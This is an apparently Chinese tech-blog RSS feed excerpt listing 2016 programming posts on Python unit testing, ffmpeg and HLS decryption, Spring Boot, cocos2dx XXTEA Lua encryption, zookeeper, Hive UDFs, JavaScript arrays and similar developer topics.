      <description>测试最基本的原理就是比较预期结果是否与实际执行结果相同，如果相同则测试成功，否则测试失败。 python 单元测试官方文档：&#xA;[Python: 2.7] (https://docs.python.org/2/library/unittest.html)&#xA;1.用import语句引入unittest模块&#xA;coding=utf-8 import json ＃导入json模块 import unittest #导入unittest模块 import os from nose.tools import * from tests import helper from youcart import create_app, db from youcart.models import ShipmentState, Shipment, ShipmentService ＃导入测试类ShipmentService模块 2.定义unittest.TestCase,让所有执行测试的类都继承于TestCase类，可以将TestCase看成是对特定类进行测试的方法的集合。&#xA;class ShipmentServiceTest(unittest.TestCase): 3.在setUp()方法中进行测试前的初始化工作（在每个测试用例前后做一些辅助工作），并在tearDown()方法中执行测试后的清除工作，setUp()和tearDown()都是TestCase类中定义的方法。&#xA;def setUp(self): self.app = create_app(&#39;testing&#39;) self.app_crx = self.app.app_context() self.app_crx.push() self.client = self.app.test_client() db.drop_all() db.create_all() user = generate_user(self.app) login(self, user.email, user.password) self.user = user from data import seeds seeds.all_(self.app) def tearDown(self): self.</description>
    </item>
    <item>
      <title>The environment variable JAVA_HOME(with the value of xxx) does not point to a valid JVM installation</title>
      <link>https://bchobby.github.io/posts/4d8c63be9cbd26dfcc81e7db6167fb5b/</link>
      <pubDate>Thu, 25 Aug 2016 13:00:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d8c63be9cbd26dfcc81e7db6167fb5b/</guid>
      <description>电脑上的IntelliJ IDEA有段时间没用了，今天有朋友在相关文章 IntelliJ IDEA 运行你的第一个Java应用程序 中提出问题，我就打开IntelliJ IDEA看看，结果提示以下信息：&#xA;The environment variable JAVA_HOME(with the value of xxx) does not point to a valid JVM installation&#xA;如下图：&#xA;环境变量 JAVA_HOME 的值没有指向可用的JVM安装目录。&#xA;解决方法： 右键单击我的电脑》属性》高级系统设置》高级》环境变量&#xA;修改 JAVA_HOME 的值为正确的JDK目录&#xA;确定，确定 保存设置。&#xA;这时再打开 IntelliJ IDEA 一切正常了。&#xA;===========文档信息============ 版权声明：非商用自由转载-保持署名-注明出处 署名(BY) ：testcs_dn(微wx笑) 文章出处：[无知人生，记录点滴](http://blog.csdn.net/testcs_dn)</description>
    </item>
    <item>
      <title>ffmpeg切片命令</title>
      <link>https://bchobby.github.io/posts/3637e06d4c06cc107b5a017b929eb096/</link>
      <pubDate>Mon, 22 Aug 2016 14:32:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3637e06d4c06cc107b5a017b929eb096/</guid>
      <description> 1.ffmpeg切片命令，以H264和AAC的形式对视频进行输出&#xA;ffmpeg -i input.mp4 -c:v libx264 -c:a aac -strict -2 -f hls output.m3u8&#xA;2.ffmpeg转化成HLS时附带的指令 -hls_time n: 设置每片的长度，默认值为2。单位为秒&#xA;-hls_list_size n:设置播放列表保存的最多条目，设置为0会保存有所片信息，默认值为5&#xA;-hls_wrap n:设置多少片之后开始覆盖，如果设置为0则不会覆盖，默认值为0.这个选项能够避免在磁盘上存储过多的片，而且能够限制写入磁盘的最多的片的数量&#xA;-hls_start_number n:设置播放列表中sequence number的值为number，默认值为0&#xA;3.对ffmpeg切片指令的使用&#xA;ffmpeg -i output.mp4 -c:v libx264 -c:a aac -strict -2 -f hls -hls_list_size 0 -hls_time 5 output1.m3u8 将输出的 M3u8 可直接使用vlc打开，发现拖动的时候会出现画面丢失的现象，待解决。&#xA;文／zjcxq（简书作者） 原文链接：http://www.jianshu.com/p/e1395a896f36 著作权归作者所有，转载请联系作者获得授权，并标注“简书作者”。 </description>
    </item>
    <item>
      <title>解密HLS中的AES加密</title>
      <link>https://bchobby.github.io/posts/c77f9ae77e6fa11d146462d63b873eb5/</link>
      <pubDate>Mon, 22 Aug 2016 12:00:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c77f9ae77e6fa11d146462d63b873eb5/</guid>
      <description>解密HLS中的AES加密 时间 2016-02-26 13:47:44 Dola 原文 http://dola.xinfan.org/?p=549 主题 加密解密 如果m3u8文件中包含#EXT-X-KEY字段，那么可以断定这个HLS中的ts文件是被加密的，如：&#xA;#EXTM3U #EXT-X-VERSION:3 #EXT-X-TARGETDURATION:11 #EXT-X-MEDIA-SEQUENCE:0 #EXT-X-KEY:METHOD=AES-128,URI=&#34;https://drm.fptplay.net/secure/vod_decrypt2?token=eyJoYXNoX3ZhbHVlIjogImRiMGM3YjExNmVkNjRhMmE4ZGQ0NTg4NWEwMDc1M2VkIiwgInZpZGVvX2lkIjogIjU1NzgyZTgzMTdkYzEzMjg2NzljZjJkMCIsICJzZXJ2ZXJfdGltZSI6IDE0NTYyMTc2ODUsICJ2YWxpZF9taW51dGVzIjogNzIwfQ&#34; #EXTINF:10.0, media_0.ts?token=eyJoYXNoX3ZhbHVlIjogImRiMGM3YjExNmVkNjRhMmE4ZGQ0NTg4NWEwMDc1M2VkIiwgInZpZGVvX2lkIjogIjU1NzgyZTgzMTdkYzEzMjg2NzljZjJkMCIsICJzZXJ2ZXJfdGltZSI6IDE0NTYyMTc2ODUsICJ2YWxpZF9taW51dGVzIjogNzIwfQ #EXTINF:10.0, media_1.ts?token=eyJoYXNoX3ZhbHVlIjogImRiMGM3YjExNmVkNjRhMmE4ZGQ0NTg4NWEwMDc1M2VkIiwgInZpZGVvX2lkIjogIjU1NzgyZTgzMTdkYzEzMjg2NzljZjJkMCIsICJzZXJ2ZXJfdGltZSI6IDE0NTYyMTc2ODUsICJ2YWxpZF9taW51dGVzIjogNzIwfQ 每个HLS文件都被使用AES-128方法加密，而解密的key文件可以通过URI指定的方式获得。&#xA;解密步骤如下：&#xA;1. 获取key文件，在HLS文件中找到#EXT-X-KEY，有一个uri，下载下来是16个字节的密钥&#xA;$ strkey=$(hexdump -v -e &#39;16/1 &#34;%02x&#34;&#39; key) 2. 下载ts文件，针对每个ts文件（media_0.ts），从0开始按顺序编号（变量index）3. 将编号格式化成32字节长的字符串作为iv $ iv=$(printf &#39;%032x&#39; $index) 4. 解密ts文件：&#xA;$ openssl aes-128-cbc -d -in media_0.ts -out media_decryptd_0.ts -nosalt -iv $iv -K $strkey 另外，通过FFmpeg接收该HLS，则会自动完成解密操作。</description>
    </item>
    <item>
      <title>关于SpringBoot bean无法注入的问题（与文件包位置有关）改变自动扫描的包</title>
      <link>https://bchobby.github.io/posts/64130aab707ac002bd23f46a3b68fad5/</link>
      <pubDate>Sat, 20 Aug 2016 22:27:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64130aab707ac002bd23f46a3b68fad5/</guid>
      <description>org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name &#39;com.example.SpringBootJdbcDemoApplication.SpringBootJdbcDemoApplication&#39;: Unsatisfied dependency expressed through field &#39;userRepository&#39;: No qualifying bean of type [com.example.repositories.UserRepository] found for dependency [com.example.repositories.UserRepository]: expected at least 1 bean which qualifies as autowire candidate for this dependency. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)}; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type [com.example.repositories.UserRepository] found for dependency [com.example.repositories.UserRepository]: expected at least 1 bean which qualifies as autowire candidate for this dependency. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)} at org.</description>
    </item>
    <item>
      <title>Linux的文件类型分类</title>
      <link>https://bchobby.github.io/posts/84cd833658bbaf8f5052e3f88c080c52/</link>
      <pubDate>Sat, 20 Aug 2016 20:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84cd833658bbaf8f5052e3f88c080c52/</guid>
      <description>Linux文件一般是用一些相关的应用程序创建，比如图像工具、文档工具、归档工具... .... 或 cp工具等。linux文件的删除方式是用rm 命令。 Linux文件类型； Linux文件类型和Linux文件的文件名所代表的意义是两个不同的概念。我们通过一般应用程序而创建的比如file.txt、file.tar.gz ，这些文件虽然要用不同的程序来打开，但放在Linux文件类型中衡量的话，大多是常规文件（也被称为普通文件）。&#xA;Linux文件类型常见的有：普通文件、目录、字符设备文件、块设备文件、符号链接文件等；现在我们进行一个简要的说明；&#xA;1 普通文件 [root@localhost ~]# ls -lh install.log -rw-r--r-- 1 root root 53K 03-16 08:54 install.log 我 们用 ls -lh 来查看某个文件的属性，可以看到有类似 -rw-r--r-- ，值得注意的是第一个符号是 - ，这样的文件在Linux中就是普通文件。这些文件一般是用一些相关的应用程序创建，比如图像工具、文档工具、归档工具... .... 或 cp工具等。这类文件的删除方式是用rm 命令；&#xA;2 目录 [root@localhost ~]# ls -lh 总计 14M -rw-r--r-- 1 root root 2 03-27 02:00 fonts.scale -rw-r--r-- 1 root root 53K 03-16 08:54 install.log -rw-r--r-- 1 root root 14M 03-16 07:53 kernel-6.15-1.2025_FC5.i686.rpm drwxr-xr-x 2 1000 users 4.</description>
    </item>
    <item>
      <title>cocos2dx lua XXTEA来加密解密实现详解</title>
      <link>https://bchobby.github.io/posts/2675c432be80ae80b976308a00da4810/</link>
      <pubDate>Wed, 17 Aug 2016 10:54:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2675c432be80ae80b976308a00da4810/</guid>
      <description>cocos2dx lua已经集成了对lua脚本的加解密，见AppDelegate.cpp LuaStack* stack = engine-&amp;gt;getLuaStack(); stack-&amp;gt;setXXTEAKeyAndSign(&#34;123&#34;, strlen(&#34;123&#34;), &#34;cloud&#34;, strlen(&#34;cloud&#34;)); 复制代码 它是通过XXTEA来加解密的。参数，key,keyLen,signment,signmentLen。它的签名作用可能是用来判断文件是否经过加密的。 好，我们来对文件加密。打开cocos2d-x\external\xxtea文件夹，调用相关函数xxtea_encrypt进行加密，最后在文件开始位置，写上签名就可以了。我把相关操作封装成一个python文件。可以直接调用。 import xxteaModule import os def ReadFile(filePath): file_object = open(filePath,&#39;rb&#39;) all_the_text = file_object.read() file_object.close() return all_the_text def WriteFile(filePath,all_the_text): file_object = open(filePath,&#39;wb&#39;) file_object.write(all_the_text) file_object.close() def BakFile(filePath,all_the_text): file_bak = filePath[:len(filePath)-3] + &#39;bak&#39; WriteFile(file_bak,all_the_text) def ListLua(path): fileList = [] for root,dirs,files in os.walk(path): for eachfiles in files: if eachfiles[-4:] == &#39;.lua&#39; : fileList.append(root + &#39;/&#39; + eachfiles) return fileList def EncodeWithXxteaModule(filePath,key,signment): all_the_text = ReadFile(filePath) if all_the_text[:len(signment)] == signment : return #bak lua BakFile(filePath,all_the_text) encrypt = xxteaModule.</description>
    </item>
    <item>
      <title>MUI的上拉加载功能实现</title>
      <link>https://bchobby.github.io/posts/b47a8784484f879fbc74f7340f168a7b/</link>
      <pubDate>Mon, 15 Aug 2016 22:38:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b47a8784484f879fbc74f7340f168a7b/</guid>
      <description>看起来很简单的东西，实践过程中还是出现了很多麻烦，比如上拉时，状态条跑到了顶部，因为内容没有添加到容器中，再比如下拉的回调函数使用问题，this的传递。&#xA;在这里只做记录了，代码是简单分离出来的，不能说明太多问题。有使用mui的，可以留言交流&#xA;html实现部分&#xA;&amp;lt;div class=&#34;list-t-wrap&#34;&amp;gt; &amp;lt;div id=&#34;refreshContainer&#34; class=&#34;mui-scroll-wrapper&#34;&amp;gt; &amp;lt;div class=&#34;mui-scroll&#34;&amp;gt; &amp;lt;div class=&#34;list-wrapper&#34;&amp;gt; &amp;lt;!--列表一定要放到容器内,因为会有一个div append到mui-scroll中,需要在底部才能起作用--&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; js代码的实现过程&#xA;mui.init({ pullRefresh : { container:&#34;#refreshContainer&#34;,//待刷新区域标识，querySelector能定位的css选择器均可，比如：id、.class等 up : { height:50,// 可选.默认50.触发上拉加载拖动距离 auto:false,// 可选,默认false.自动上拉加载一次 contentrefresh : &#34;正在加载...&#34;,// 可选，正在加载状态时，上拉加载控件上显示的标题内容 contentnomore:&#39;没有更多数据了&#39;,// 可选，请求完毕若没有更多数据时显示的提醒内容； callback : function() { var self = this; // 这里的this == mui(&#39;#refreshContainer&#39;).pullRefresh() // 加载更多的内容 loadMore(this); } //必选，刷新函数，根据具体业务来编写，比如通过ajax从服务器获取新数据； } } }); // var loadMore = function(pullRefresh) { // 加载更多的内容到列表中 // TODO // 如果没有更多数据了，则关闭上拉加载 pullRefresh.</description>
    </item>
    <item>
      <title>suse11 安装jdk1.7.0.79</title>
      <link>https://bchobby.github.io/posts/8e6d283d000af671c9d386054fd81072/</link>
      <pubDate>Sun, 14 Aug 2016 22:28:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e6d283d000af671c9d386054fd81072/</guid>
      <description>(1)查看操作系统的类型。&#xA;getconf_LONG_BIT 返回为64 说明操作系统为64位。&#xA;(2)在官网下载需要的版本的jdk，最新版本为jdk1.7.0.79&#xA;http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html&#xA;(3)在/usr/local/下建java文件夹，上次jdk文件到java下输入如下命令&#xA;rpm -ivh jdk-7u79-linux-x64.rpm --prefix=/u/opt/ /u/install #chmod 755 /etc/profile /u/install # vi /etc/profile vi编辑信息如下： 按ESC键，退出vi：&#xA;:wq! (4)shutdown -r now 立刻重启(root用户使用) (5)查看安装结果。</description>
    </item>
    <item>
      <title>zookeeper 常用命令</title>
      <link>https://bchobby.github.io/posts/0b8f4ef34b8f1efc3a066a1a00e3f9d5/</link>
      <pubDate>Sun, 14 Aug 2016 19:20:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b8f4ef34b8f1efc3a066a1a00e3f9d5/</guid>
      <description>zookeeper 常用命令 创建结点 语法： create [-s] [-e] path data acl&#xA;默认创建是持久化创建, zookeeper根节点是/ 类似linux文件系统&#xA;path : 代表创建结点的路径data : 结点的内容-s : 顺序创建-e : 临时结点 获取结点列表 ls 是列举结点下所有的子节点.&#xA;语法: ls path [watch]&#xA;获取结点内容 get 命令: 可以获取zookeeper指定结点的内容和属性结点&#xA;语法: get path [watch]&#xA;修改结点内容 set 命令: 修改指定结点的内容&#xA;set path 删除结点 delete命令: 删除没有没有子节点的结点，如果结点含有子节点则删除失败 Node not empty&#xA;语法: delete path [version]</description>
    </item>
    <item>
      <title>Hadoop Hive UDF 教程</title>
      <link>https://bchobby.github.io/posts/38b3f11e33e28d8503ca6ebcaa8f2112/</link>
      <pubDate>Wed, 10 Aug 2016 15:47:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38b3f11e33e28d8503ca6ebcaa8f2112/</guid>
      <description>关于编写HIVE的UDF，有两个不同的接口可以实现。一个非常简单，另一个则并不容易。&#xA;只要你的函数能够读取原始类型数据并返回原始类型数据就能使用简单的API（org.apache.hadoop.hive.ql.exec.UDF），这个原始类型数据是指Hadoop和Hive的可写类型-Text, IntWritable, LongWritable, DoubleWritable等。&#xA;无论如何，如果你打算编写一个UDF能够操作嵌入式的数据结构，比如Map,List,Set，那么你应该使用org.apache.hadoop.hive.ql.udf.generic.GenericUDF，这个更加复杂一些。&#xA;简单的API - org.apache.hadoop.hive.ql.exec.UDF复杂的API - org.apache.hadoop.hive.ql.udf.generic.GenericUDF 接下来我要用上述的两个接口编写一个UDF的例子，我将会提供编写过程中用到的代码和测试数据。 #简单的API 编写一个继承简单的api的UDF只比编写一个只有一个函数的类复杂一点，下面是一个例子： &amp;lt;span style=&#34;font-family:Microsoft YaHei;font-size:14px;&#34;&amp;gt;class SimpleUDFExample extends UDF { public Text evaluate(Text input) { return new Text(&#34;Hello &#34; + input.toString()); } }&amp;lt;/span&amp;gt; 完整的代码：https://github.com/rathboma/hive-extension-examples #测试简单的UDF 由于这个UDF只有简单的一个函数，所以你能够使用测试工具测试它，比如Junit. public class SimpleUDFExampleTest { @Test public void testUDF() { SimpleUDFExample example = new SimpleUDFExample(); Assert.assertEquals(&#34;Hello world&#34;, example.evaluate(new Text(&#34;world&#34;)).toString()); } } #也要在hive下进行测试 你应该在hive上直接测试这个UDF，特别是当你不确定这个是否能够处理正确的类型的 %&amp;gt; mvn assembly:single %&amp;gt; hive hive&amp;gt; ADD JAR target/hive-extensions-1.0-SNAPSHOT-jar-with-dependencies.jar; hive&amp;gt; CREATE TEMPORARY FUNCTION helloworld as &#39;com.</description>
    </item>
    <item>
      <title>我的第一个FPGA小程序---测占空比</title>
      <link>https://bchobby.github.io/posts/79fc2051cfc6a1282aef8a6c8053b984/</link>
      <pubDate>Sun, 07 Aug 2016 11:41:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79fc2051cfc6a1282aef8a6c8053b984/</guid>
      <description>module&#x9;capt( clk, rst_n, //disabled, catin, PonTemp, Poff_reg ); input&#x9;clk,rst_n,catin; output&#x9;PonTemp,Poff_reg; //reg[16:0] value; //output [7:0] segdata; //output [2:0] segcs; //reg&#x9;[16:0]&#x9;PonTemp;//PoffTemp;//char:256 max,data temp //reg&#x9;[15:0]&#x9;Pon,Poff; //首先对脉冲输入进行同步处理 reg&#x9;syn1; reg&#x9;syn2; always @ (posedge clk) begin syn1 &amp;lt;= catin; syn2 &amp;lt;= syn1; end wire&#x9;catin_pos; //获得输入脉冲的上升沿 assign&#x9;catin_pos = syn1 &amp;amp; (~syn2); //计算高低电平宽度 reg&#x9;[16:0]&#x9;Pon_reg,PonTemp,Poff_reg; wire&#x9;reset = (~rst_n); always @ (posedge reset or posedge clk) begin if(reset) begin Pon_reg &amp;lt;= 16&#39;d0; Poff_reg &amp;lt;= 16&#39;d0; //Pon &amp;lt;= 16&#39;d0; //Poff &amp;lt;= 16&#39;d0; end else if(catin_pos) begin //Pon &amp;lt;= Pon_reg; //Poff &amp;lt;= Poff_reg; if(Pon_reg !</description>
    </item>
    <item>
      <title>java贪吃蛇</title>
      <link>https://bchobby.github.io/posts/d0f7f7293e1b5108bdd61bf532c39f90/</link>
      <pubDate>Sat, 06 Aug 2016 00:50:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0f7f7293e1b5108bdd61bf532c39f90/</guid>
      <description>LinkedList:贪吃蛇 新手,这几天刚学到集合,用LinkedList写了一个很low的贪吃蛇小游戏(只能在控制台 一帧一帧的跳),纪念一下学习的过程.但是还是用到了一些关于集合的知识,可以参考下.希望大家多多指点让我这个新手慢慢成长^_^. snake 类 package com.lsm.program.snakemodel;&#xA;import java.util.LinkedList; import java.util.Queue;&#xA;import org.junit.Test;&#xA;/** * 描述一条蛇 * * @author lsm * @create time 2016年8月5日 下午5:13:58 */ public class Snake { private LinkedList snake = new LinkedList&amp;lt;&amp;gt;();&#xA;public LinkedList&amp;lt;Node&amp;gt; getSnake() { return snake; } public void setSnake(LinkedList&amp;lt;Node&amp;gt; snake) { this.snake = snake; } public Snake() { super(); } public Snake(LinkedList&amp;lt;Node&amp;gt; snake) { super(); this.snake = snake; } // 蛇进一步 public boolean step(int dir, SnakePanel dd) { //判断是否已经吃完所有的豆子 if(dd.</description>
    </item>
    <item>
      <title>ftp上传 防火墙的设置</title>
      <link>https://bchobby.github.io/posts/45da99b802664fff41dfec03b66fb5e9/</link>
      <pubDate>Thu, 04 Aug 2016 18:01:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45da99b802664fff41dfec03b66fb5e9/</guid>
      <description> 之前ftp上传文件完全没问题，后来突然变得不能上传了，删除了整个工程重新导入都不行，后来发现原来是防火墙的原因。关闭防火墙之后，上传就成功了。有点蛋疼。那么问题就来了，防火墙开着的时候怎么去设置才可以上传了。 一下是百度到的原因跟方法： 2003 server用于提供web和ftp服务，通过互联网用flashfxp实现远程上传网页。如果关闭防火墙，ftp上传下载正常，但启用windows防火墙后就不行，即使把web、ftp等服务列为例外也不行。究其原因，flashfxp工作时实际还要用1024以上的tcp端口，而且对端口的指定是要变的。请有类似经验的朋友指点一下，这种情况下如何在开启windows防火墙时保证flashfxp能正常上传下载？只知道ftp使用20、21端口的就请免开尊口了。 解决办法： 1.开启windows防火墙； 2.在防火墙设置的“例外”中把IIS的核心程序c:\windows\system32\inetsrv\inetinfo.exe加入； 3.在防火墙设置的“高级-本地连接-设置”中把FTP的勾选取消。 大功告成。 </description>
    </item>
    <item>
      <title>pyqt 在Widgets中显示图片和文字</title>
      <link>https://bchobby.github.io/posts/915e3258921baa42e947202da350d4bd/</link>
      <pubDate>Thu, 04 Aug 2016 11:03:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/915e3258921baa42e947202da350d4bd/</guid>
      <description>思路非常简单：&amp;lt;p&amp;gt;创建window，设置窗口大小，创建label1，导入图片，创建label2，导入文字，show，结束！&amp;lt;/p&amp;gt;&#xD;import sys from PyQt5 import QtWidgets,QtGui #定义窗口函数window def window(): #我事实上不太明白干嘛要这一句话，只是pyqt窗口的建立都必须调用QApplication方法 app=QtWidgets.QApplication(sys.argv) #新建一个窗口，名字叫做w w=QtWidgets.QWidget() #定义w的大小 w.setGeometry(100,100,300,200) #给w一个Title w.setWindowTitle(&#39;lesson 2&#39;) #在窗口w中，新建一个lable，名字叫做l1 l1=QtWidgets.QLabel(w) #调用QtGui.QPixmap方法，打开一个图片，存放在变量png中 png=QtGui.QPixmap(&#39;/home/capture/Pictures/Selection_026.png&#39;) # 在l1里面，调用setPixmap命令，建立一个图像存放框，并将之前的图像png存放在这个框框里。 l1.setPixmap(png) #在窗口w中，新建另一个label，名字叫做l2 l2=QtWidgets.QLabel(w) #用open方法打开一个文本文件，并且调用read命令，将其内容读入到file_text中 file=open(&#39;/home/capture/eric6_test/auto_k2_all/test1.log&#39;) file_text=file.read() #调用setText命令，在l2中显示刚才的内容 l2.setText(file_text) #调整l1和l2的位置 l1.move(100,20) l2.move(140,120) #显示整个窗口 w.show() #退出整个app app.exit(app.exec_()) #调用window这个函数 window() 不过，这样写的目的是什么，弄一个函数，来生成一个图像，没有参数可以输入？还不如不用函数呢。所以，我改了一下。&#xA;import sys from PyQt5 import QtWidgets,QtGui #定义窗口函数window def window(png,file_text): #新建一个窗口，名字叫做w w=QtWidgets.QWidget() #定义w的大小 w.setGeometry(100,100,300,200) #给w一个Title w.setWindowTitle(&#39;lesson 2&#39;) #在窗口w中，新建一个lable，名字叫做l1 l1=QtWidgets.QLabel(w) #调用QtGui.QPixmap方法，打开一个图片，存放在变量png中 # 在l1里面，调用setPixmap命令，建立一个图像存放框，并将之前的图像png存放在这个框框里。 l1.setPixmap(png) #在窗口w中，新建另一个label，名字叫做l2 l2=QtWidgets.QLabel(w) #用open方法打开一个文本文件，并且调用read命令，将其内容读入到file_text中 #调用setText命令，在l2中显示刚才的内容 l2.</description>
    </item>
    <item>
      <title>清空数组的三种方式</title>
      <link>https://bchobby.github.io/posts/9f4d0ad3abea885c5e353536e4a53cb5/</link>
      <pubDate>Wed, 03 Aug 2016 00:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f4d0ad3abea885c5e353536e4a53cb5/</guid>
      <description>清空数组的三种方式：&#xA;1、splice（0，数组的长度）；&#xA;var arr1 = arr.splice(0，arr.length);&#xA;console.log(arr1);&#xA;2、让数组的长度为0；&#xA;这种方式很有意思，其它语言如Java，其数组的length是只读的，不能被赋值。如&#xA;int[] ary = {1,2,3,4}; ary.length = 0; Java中会报错，编译通不过。而JS中则可以，且将数组清空了;&#xA;（在JS中length的属性是可读可写的，也就是可以给length属性赋值）&#xA;console.log(arr.length);&#xA;arr.length=0;&#xA;console.log(arr);&#xA;3、让数组为空；&#xA;var arr = [12,23,&#34;a&#34;,undefined,null,90];&#xA;arr = [];&#xA;conlose.log(arr);&#xA;这里其实并不能说是严格意义的清空数组，只是将ary重新赋值为空数组，之前的数组如果没有引用在指向它将等待垃圾回收。&#xA;第2种方式保留了数组其它属性，第3种则未保留。很多人认为方式2的效率很高些，因为仅仅是给length重新赋值了，而方式3则重新建立个对象。经测试恰恰是方式3的效率高。测试代码如下：&#xA;var a = []; for (var i=0; i&amp;lt; 1000000; i++){ a.push(i); } var start = new Date(); //a = []; a.length = 0; var end = new Date(); alert(end - start); 以上结果可看到:第3种更快，效率更高。因此如果不保留原数组的其它属性Ext采用的方式更值得推荐。&#xA;转载于:https://www.cnblogs.com/Ma-lulu/p/5731251.html</description>
    </item>
    <item>
      <title>Java script数组遍历for与for in的区别</title>
      <link>https://bchobby.github.io/posts/a1763ba027ddbb6160d5b3634669b9e1/</link>
      <pubDate>Mon, 01 Aug 2016 00:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1763ba027ddbb6160d5b3634669b9e1/</guid>
      <description>我们在学习js中遍历数组的有两种方式&#xA;代码：&#xA;var array=[&#39;a&#39;]&#xA;//标准的for循环&#xA;for(var i=1;i&amp;lt;array.length;i++){&#xA;alert(array[i])&#xA;}&#xA;//foreach循环&#xA;for(var i in array){&#xA;alert(array[i])&#xA;}&#xA;正常情况下上面两种遍历数组的方式结果一样。首先说两者的第一个区别&#xA;标准的for循环中的i是number类型,表示的是数组的下标,但是foreach循环中的i表示的是数组的key是string类型,因为js中一切皆为对象。自己试试 alert(typeof i);这个区别是小问题。现在我加上如下代码，上面的执行结果就不一样了。&#xA;代码&#xA;//扩展了js原生的Array&#xA;Array.prototype.test=function()&#xA;}&#xA;我们发现标准的for循环任然真正的对数组循环, 但是此时foreach循环对我刚才写的test方法写打印出来了。这就是for与foreach遍历数组的最大区别，如果我们在项目采用的是用foreach遍历数组，假设有一天谁不小心自己为了扩展js原生的Array类，或者引入一个外部的js框架也扩展了原生Array。&#xA;建议&#xA;1.不要用for in遍历数组，全部统一采用标准的for循环变量数组(我们无法保证我们引入的js是否会采用prototype扩展原生的Array)&#xA;2.如果要对js的原生类扩展的时候，不要采用prototype了&#xA;转载于:https://www.cnblogs.com/Ma-lulu/p/5724376.html</description>
    </item>
    <item>
      <title>JavaScript 必会的知识点</title>
      <link>https://bchobby.github.io/posts/646a65de2f08337d9c1d325ec0a838a4/</link>
      <pubDate>Sun, 31 Jul 2016 00:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/646a65de2f08337d9c1d325ec0a838a4/</guid>
      <description>学习Web前端中的JavaScript总结以下必会的知识点：&#xA;1. js的基本数据类型&#xA;Undefined、Null、Boolean、Number、String&#xA;2. js有哪些内置对象？&#xA;数据封装类对象：Object、Array、Boolean、Number 和 String&#xA;其他对象：Function、Arguments、Math、Date、RegExp、Error&#xA;3. this对象的理解&#xA;this总是指向函数的直接调用者（而非间接调用者）；&#xA;如果有new关键字，this指向new出来的那个对象；&#xA;在事件中，this指向触发这个事件的对象，特殊的是，IE中的attachEvent中的this总是指向全局对象Window。&#xA;4. eval是做什么的？&#xA;它的功能是把对应的字符串解析成JS代码并运行；&#xA;应该避免使用eval，不安全，非常耗性能（2次，一次解析成js语句，一次执行）。&#xA;由JSON字符串转换为JSON对象的时候可以用eval，var obj =eval(&#39;(&#39;+ str +&#39;)&#39;)。&#xA;5. DOM怎样添加、移除、移动、复制、创建和查找节点&#xA;// 创建新节点&#xA;createDocumentFragment() //创建一个DOM片段&#xA;createElement() //创建一个具体的元素&#xA;createTextNode() //创建一个文本节点&#xA;// 添加、移除、替换、插入&#xA;appendChild()&#xA;removeChild()&#xA;replaceChild()&#xA;insertBefore() //在已有的子节点前插入一个新的子节点&#xA;// 查找&#xA;getElementsByTagName() //通过标签名称&#xA;getElementsByName() //通过元素的Name属性的值(IE容错能力较强，会得到一个数组，其中包括id等于name值的)&#xA;getElementById() //通过元素Id，唯一性&#xA;6. null和undefined的区别？&#xA;null是一个表示&#34;无&#34;的对象，转为数值时为0；undefined是一个表示&#34;无&#34;的原始值，转为数值时为NaN。&#xA;undefined：&#xA;（1）变量被声明了，但没有赋值时，就等于undefined。&#xA;（2) 调用函数时，应该提供的参数没有提供，该参数等于undefined。&#xA;（3）对象没有赋值的属性，该属性的值为undefined。&#xA;（4）函数没有返回值时，默认返回undefined。&#xA;null：&#xA;（1） 作为函数的参数，表示该函数的参数不是对象。&#xA;（2） 作为对象原型链的终点。&#xA;7. new操作符具体干了什么呢?&#xA;（1）创建一个空对象，并且 this 变量引用该对象，同时还继承了该函数的原型。&#xA;（2）属性和方法被加入到 this 引用的对象中。</description>
    </item>
    <item>
      <title>php中正则表达式详解</title>
      <link>https://bchobby.github.io/posts/5eac52b10d5edf09e9cff069c2f6383d/</link>
      <pubDate>Fri, 29 Jul 2016 14:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5eac52b10d5edf09e9cff069c2f6383d/</guid>
